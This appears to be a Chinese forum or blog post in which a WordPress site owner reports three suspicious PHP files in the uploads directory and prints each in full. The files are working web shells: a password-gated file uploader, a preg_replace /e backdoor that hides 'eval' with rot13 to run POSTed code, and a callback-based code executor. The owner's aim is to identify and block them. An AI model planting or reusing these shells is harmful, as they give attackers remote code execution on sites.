一个 WordPress 站，疑似被传后门

今检查 wordpress 的上传目录wp-content/uploads

发现 3 个.php文件

第一个./2014/12/conf-72e 内容如下

<?php if(isset($_GET["ms-load"]) && md5($_GET["ms-load"])=="10c0d9d7dbb63d34fdb2cafee8782911"){
$p=$_SERVER["DOCUMENT_ROOT"];
$tyuf=dirname(__FILE__);
echo <<<HTML
<form enctype="multipart/form-data"  method="POST">
Path:$p<br>
<input name="file" type="file"><br>
To:<br>
<input size="48" value="$tyuf/" name="pt" type="text"><br>
<input type="submit" value="Upload">
HTML;
if (isset($_POST["pt"])){
$uploadfile = $_POST["pt"].$_FILES["file"]["name"];
if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];}
if (copy($_FILES["file"]["tmp_name"], $uploadfile)){
echo"uploaded:$uploadfile";
echo"Size:".$_FILES["file"]["size"]."n";
}else {
print "Error:n";
}
}
}

第二个./2015/03/conf-72 内容如下

<?php isset($_POST['8rfhxs']) && ($www= $_POST['8rfhxs']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');

第三个./2015/07/cp1251-72 内容如下

<?php
    if(isset($_GET['8rfhxs']) && isset($_GET['catid'])){
	$id = $_GET['8rfhxs'];
	echo $catid = isset($_GET['catid'])?base64_decode($_GET['catid']):'';
	$s = '';
	foreach(array($id) as $v){
	    $s.=$v;
	}
	ob_start($s);
	if($catid){
	    echo $catid;
	}
	ob_end_flush();
}

这三个好像都和传入参数有关，但里面变量不少，尤其是第一个(看起来像是先检测传入参数的 MD5，如吻合，就 POST 站点根目录下的什么东西，也没体现到什么域名 /IP，看起来很像后门.)

上传时间都是 16 年 12 月，那时我已在上传目录的.htaccess添加了php_flag engine off，使这个目录下的 PHP 文件不被解析。

可能因此骇客没得手.